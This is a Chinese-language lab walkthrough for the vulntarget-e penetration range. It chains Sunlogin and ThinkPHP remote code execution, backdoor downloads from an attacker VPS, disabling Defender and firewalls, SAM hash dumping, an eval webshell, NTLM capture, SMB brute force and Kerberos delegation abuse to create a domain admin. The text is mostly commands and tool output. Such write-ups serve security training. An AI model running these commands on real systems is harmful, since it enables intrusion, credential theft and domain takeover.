关注WX:【小白SEC】查看更多内容……
本文仅为学习【vulntarget】,在本地环境测试验证,无其它目的,请勿进行未经授权的测试
一、靶场信息:
下载地址:
百度云链接:
链接: https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q
提取码:1p9p
**拓扑图:**IP信息根据本地搭建环境自行配置改变,Ubuntu需要更改静态IP
官方WP:vulntarget漏洞靶场系列(五)— vulntarget-e
二、使用到的工具、漏洞或技术:
工具:
Viper、nmap、ObserverWard、AdFind、kekeo、mimikatz、Responder、TFirewall、Host_scan
漏洞或技术:
向日葵RCE漏洞、observer_ward指纹识别、隧道代理、免杀、约束委派
三、步骤:
- 通过端口扫描工具,查找靶机IP及端口信息,此处靶机的IP为192.168.126.175,直接扫描靶机IP信息,使用nmap扫描,存在 46972 端口,为未知服务:
- 使用 observer_ward 识别指纹为 sunlogin:
- 直接使用 向日葵RCE利用工具 进行命令执行操作:
- Viper开启监听,生成后门程序,开启,将生成的后门程序上传到VPS中,开启http服务,获取下载地址:
生成监听:
上传后门程序到VPS,并开启http服务,获取后门程序下载地址:
- 在 向日葵RCE利用工具 中依次执行命令,创建文件夹,下载后门程序,查看:
mkdir A
powershell.exe -Command "Invoke-WebRequest -Uri http://x.x.x.x:8000/win2016.exe -OutFile ./A/win2016.exe"
dir ./A
- 再次执行命令,启用 win2016.exe ,发现未执行,查看进程发现存在 Windows Defender :
注意:
此处可以直接关闭 Windows Defender,就不用生成免杀马
进程识别,发现存在 Windows Defender :
- 制作免杀程序并重新上传VPS执行下载,执行命令:
./A/win2016_msf.exe
- Viper上线:
- 搜索敏感文件,在 Administrator 用户的桌面下找到
需要测试的地址.txt
,查看为域名信息:
- 关闭防火墙,关闭 Windows Defender ,获取密码:
netsh advfirewall set allprofiles state off #关闭防火墙
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f #设置远程端口为3389
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #允许远程桌面连接
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f #远程卓main链接用户身份验证方式设置为0
powershell -command Set-MpPreference -DisableRealtimeMonitoring $true #关闭 Windows Defender 实时保护
C:\Windows\System32\A>reg save hklm\system system.hive
reg save hklm\system system.hive
操作成功完成。
C:\Windows\System32\A>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 8847-01A6
C:\Windows\System32\A 的目录
2023/07/03 21:49 <DIR> .
2023/07/03 21:49 <DIR> ..
2023/07/03 21:48 45,056 sam.hive
2023/07/03 21:49 15,683,584 system.hive
2022/03/07 14:30 13,488,186 win2016_msf.exe
3 个文件 29,216,826 字节
2 个目录 51,424,223,232 可用字节
C:\Windows\System32\A>
mimikatz # lsadump::sam /sam:sam.hive /system:system.hive
解密 NTLM :
- 添加路由,扫描内网,扫描时间太久,为缩短时间,直接扫描靶机IP:
msf6 auxiliary(scanner/portscan/tcp) > options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 21,22,80,88,139,445,1433,3306,3389,6379,7001,8080,8443 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.100.131 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.100.131: - 192.168.100.131:22 - TCP OPEN
[+] 192.168.100.131: - 192.168.100.131:80 - TCP OPEN
[*] 192.168.100.131: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) >
- 访问扫描到的 80 端口,发现为 400 报错:
- 根据官方wp提示,获取firefox历史记录:
meterpreter > run post/windows/gather/forensics/browser_history
[*] Gathering user profiles
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for ash
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for ash
[*] Checking for Skype artifacts...
[-] Skype directory not found for ash
[*] Checking for Firefox artifacts...
[+] Firefox directory found ash
[*] Downloading C:\Users\ash\AppData\Roaming\Mozilla\Firefox\Profiles\5prvf5he.default-release\places.sqlite
[+] Firefox artifact file saved to /root/.msf4/local/ash_Firefox_5prvf5he.default-release_places.sqlite
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for Administrator
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for Administrator
[*] Checking for Skype artifacts...
[-] Skype directory not found for Administrator
[*] Checking for Firefox artifacts...
[+] Firefox directory found Administrator
[*] Downloading C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\mpf91asw.default-release\places.sqlite
[+] Firefox artifact file saved to /root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlite
meterpreter >
- 下载 Administrator_Firefox_mpf91asw.default-release_places.sqlite ,可在 Viper 所在服务器使用 find 命令查找,并下载,使用sql工具读取:
SELECT url FROM moz_places WHERE url LIKE '%192.168.100.131%'
- 添加前面找到的域名信息,进行 host 碰撞,成功获取到添加
www.cJO6w10YLS.com
为 vulntarget后台登陆界面:
- 添加通过firefox获取的历史记录,成功获取到为 Thinphp V5.0:
- 利用 Thinkphp RCE ,提示函数被禁用:
GET /vulntarget/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami HTTP/1.1
Host: www.cJO6w10YLS.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- 此处根据官方wp提示,使用 file_put_contents 写文件到根目录下:
http://192.168.100.131/vulntarget/public/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../1.php&vars[1][1]=%3C?php%20eval(urldecode(urldecode(urldecode($_REQUEST['test']))));?%3E
#新建蚁剑编码器
=================================================================
'use strict';
// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}
=================================================================
配置好代理并连接,需要添加 Header 参数,如下:
- 有禁用函数,使用蚁剑插件绕过无回显,参考文章,上传新的脚本进行绕过:
参考文章:
-------------------------------------------------------------
绕过disable_function:https://blog.csdn.net/qq_51770207/article/details/126997602
-------------------------------------------------------------
脚本:
-------------------------------------------------------------
PHP 7.0-7.3 disable_functions bypass:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass
-------------------------------------------------------------
使用Vieper建立监听,并生成 .elf 文件,将 .elf 文件进行base64编码,再通过 base64 解码将文件传入到 Ubuntu 靶机中:
.elf 文件进行 base64 编码:
使用 base64 解码将文件写入到 Ubuntu.elf 中:
通过蚁剑添加权限,使用 test.php 执行:
- 上面步骤没法做下去,因为有限制出网,翻看官方WP才发现,由于使用msf搭建socks隧道容易断,此处使用 frp 搭建隧道,并上传这三个文件:
frp隧道启用:
使用蚁剑上传冰蝎马,冰蝎做代理到 BurpSuite ,Burp Suite 设置代理 frp 的代理地址,并添加 Match and Replace 规则替换 Host 信息:
- 第22步也无法完成,因为无法通过 WebShell 管理工具上传文件,但是必须将 tfc 出网探测脚本传进去,最终想到一个办法,源代码没有上传公共,自己构造一个不就行,写一个文件上传的代码,访问,并上传 tfc 脚本,成功:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$target_path = "./";
$target_path = $target_path . basename($_FILES['fileToUpload']['name']);
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_path)) {
$absolute_path = realpath($target_path);
echo "文件上传成功! 路径为: " . $absolute_path."<br /r><hr><br /r>";
} else {
echo "文件上传失败,请重试!<br /r><hr><br /r>";
}
}
?>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
选择上传的文件:
<input type="file" name="fileToUpload"/>
<input type="submit" value="Upload Image" name="submit"/>
</form>
</body>
</html>
- 在 win2016 中开启tfs,监听端口,在 Ubuntu 中执行 tfc 探测,tfs 工具无法监听已存在的端口,所以要排除 win2016 中已监听的端口,此处直接简单演示存在的端口范围 1110 3333:
- 探测到端口后开启 Viper 监听,生成 .elf 文件,上传执行:
- 成功上线后,此时为 www 权限,需要进行提权操作,尝试使用 MSF 提权未成功,最后在找文件的时候找到了
/home/vulntarget/
下有一个key
文件,还找到了设计者留下的tfc_linux_386.elf
:
- 拿到 key ,测试一下使用SSH远程登录, kali 配置代理,使用 key 登录:
直接为 root 权限,重新使用 root 执行 1.elf 文件,重新上线:
nohup ./1.elf & #后台运行./1.elf
- 查看防火墙规则,为了防止后面再出现差错,直接关闭防火墙:
ufw status #查看防火墙状态
ufw disable #关闭防火墙
iptables -A INPUT -j ACCEPT #允许所有的入站连接和流量通过防火墙
iptables -A OUTPUT -j ACCEPT #允许所有的出站连接和流量通过防火墙
- 上传 fscan 扫描内网:
- ms17010没成功,爆破MSSQL,使用 MSF 的爆破 MSSQL 账号密码模块,数量太多而且容易断,不直接跑了,参考官方 WP 直接使用账号密码
test/123.com
:
- 使用工具开启代理,连接数据库,该账号不是 DBA 权限:
- 根据官方提示可以使用 SQL Server 数据库的 xp_dirtree 存储,请求 UNC ,获取 net-ntlm hash :
使用 mssqlclient.py 连接到 mssql :
上传 Responder 工具到 Ubuntu 中,执行命令:
python3 Responder.py -I ens37 -v
在 mssql.py 中执行 ,返回 Ubuntu 中查看获取到 hash 、域名等信息:
- 根据现有的账号密码制作字典,进行smb爆破,获得账号密码:
vulntarget\win2008:qweASD123
,administrator/admin@123
| 账号 | 密码 |
| — | — |
| ash | qweASD123 |
| administrator | win2008 |
| test | 123.com |
- smb登录:
proxychains4 python3 smbexec.py administrator:admin@123@192.168.88.102
- Viper开启监听,生成后门程序,上传到Ubuntu中,使用python开启http服务,利用certutil下载到win2008中,并执行:
certutil.exe -urlcache -split -f http://192.168.88.100:8000/win2008.exe ./1/win2008.exe #下载命令
- 添加路由,收集信息:
- 探测约束委派,此处使用 Adfind.exe 工具,通过代理访问,方便起见可以关闭防火墙,开启3389进行远程登录操作:
#命令:
==========================================================
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
==========================================================
#说明:
==========================================================
AdFind.exe:执行 Active Directory 查询的可执行文件。
-h 10.0.10.10:指定目标 Active Directory 服务器的 IP 地址或主机名。
-u win2008:指定要用于身份验证的用户名。
-up qweASD123:指定与用户名相对应的密码。
-b "DC=vulntarget,DC=com":指定要进行查询的基础搜索路径(Base DN)。
-f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))":指定查询的过滤条件。此处的过滤条件为查询符合以下两个条件的对象:
samAccountType=805306368:账户类型为委派账户。
msds-allowedtodelegateto=*:具有允许委派到的目标的属性。
cn distinguishedName msds-allowedtodelegateto:指定要返回的属性列表,包括 cn、distinguishedName 和 msds-allowedtodelegateto。
该命令的目的是在指定的 Active Directory 中查找满足条件的委派账户,并返回这些账户的 cn、distinguishedName 和 msds-allowedtodelegateto 属性值。
- 上传 kekeo.exe 到 win2008 中,执行命令:
#命令1:
==========================================================
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi #生成一个假的票据
==========================================================
#命令2:
==========================================================
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
==========================================================
#说明:
使用用户 Administrator 的 TGT,通过委派生成一个适用于目标服务 cifs/WIN-1PV25H8UJPN.vulntarget.com 的服务票据,以便用户可以在该服务上进行操作或访问资源。
==========================================================
tgs::s4u: 使用 TGS S4U2Self 协议,表示以用户身份获取服务票据。
/tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi: 指定用户的 TGT(Ticket Granting Ticket),该票据用于证明用户的身份和权限。
/user:Administrator@vulntarget.com: 指定要委派给的目标服务的用户名,这里是 Administrator@vulntarget.com。
/service:cifs/WIN-1PV25H8UJPN.vulntarget.com: 指定目标服务的服务主体名称(Service Principal Name),这里是 cifs/WIN-1PV25H8UJPN.vulntarget.com。
==========================================================
- 上传 mimikatz ,执行命令:
#命令:
==========================================================
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
==========================================================
#说明:
==========================================================
kerberos::ptt: 表示将票据导入到票据缓存中。
TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi: 指定要导入的服务票据文件的路径和名称。
将名为 TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi 的服务票据文件导入到当前会话中的票据缓存中,以便后续使用该票据进行身份验证和访问受限资源。
==========================================================
- 执行新增用户并加入到管理员组,每执行一次命令,都要重新导入票据:
net user test ceshi123.com /add /domain #创建一个名为 "test" 的用户,并将其添加到域中。用户的密码为 "ceshi123.com"。使用 /domain 参数指定在域中执行操作
net group "domain admins" test /add /domain #将用户 "test" 添加到 "domain admins" 组中。使用 /domain 参数指定在域中执行操作。此命令假设 "domain admins" 组已经存在。
net group "domain admins" /domain #显示 "domain admins" 组的成员列表。使用 /domain 参数指定在域中执行操作。该命令并未指定要添加或删除成员,只是查看组的成员信息。
- 使用工具横向移动到 10.0.10.10 :
proxychains4 python3 smbexec.py vulntarget.com/test:ceshi123.com@10.0.10.10
- 完整链路图:
靶场WP持续更新……